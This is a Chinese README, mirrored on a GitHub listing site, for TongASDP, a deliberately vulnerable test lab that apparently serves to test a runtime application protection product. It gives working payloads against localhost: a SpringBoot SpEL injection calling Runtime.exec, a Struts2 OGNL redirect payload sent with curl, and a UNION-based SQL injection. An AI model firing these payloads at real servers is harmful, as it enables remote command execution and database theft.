Giter Site home page Giter Site logo

tongasdp-test's Introduction

TongASDP漏洞测试环境

TongASDP漏洞测试环境包含了两个项目:tongasdp-test-springboottongasdp-test-struts2,它们使用了相同的源代码分别用于测试SpringBootStruts2漏洞。

SpringBoot SpEL表达式注入

tongasdp-test-springboot使用的是SpringBoot 1.3.0,这个版本存在SpEL表达式注入漏洞,访问的控制器地址是getUserById.do?id=1,参数id存在SpEL表达式注入漏洞,发送如下Payload服务器会返回SpEL表达式的计算结果:

通过SpEL表达式可以执行系统命令,如:http://localhost:8000/getUserById.do?id=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}

Struts2 OGNL表达式注入

tongasdp-test-struts2使用的是Struts2 2.1.8版本存在Struts2命令执行漏洞,访问的actionrasp.action可以使用Struts2Payload进行检测,例如发送如下Payload服务器会返回[/ok]:

redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}

如使用curl发送Payload

curl -i http://localhost:8000/rasp.action -d "redirect:%24%7b%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()%7d"

或者使用浏览器访问(需要注意的是Tomcat8+不能使用URL传参):http://localhost:8000/rasp.action?redirect:%24%7b%23w%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23w.println(%27[/ok]%27),%23w.flush(),%23w.close()%7d

SQL注入

几乎所有可以传参的地方都存在SQL注入,例如获取文章详情页中的articleId参数存在注入,如使用算数符获取ID为10000的文章(articleId=100001-1):

注入数据库信息: http://localhost:8000/getArticle.do?articleId=100001%20and%201=2%20union%20select%201,2,user(),4,version(),null,7

需要注意的是因为数据库查询的时候有一个字段是private Date publishDate;所以注入的时候需要注意数据字段类型,上述union select注入示例使用了null占位。

其他测试用例

tongasdp-test-core项目中的com.github.tongasdp.controller包下面包含了非常多的其他测试用例。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.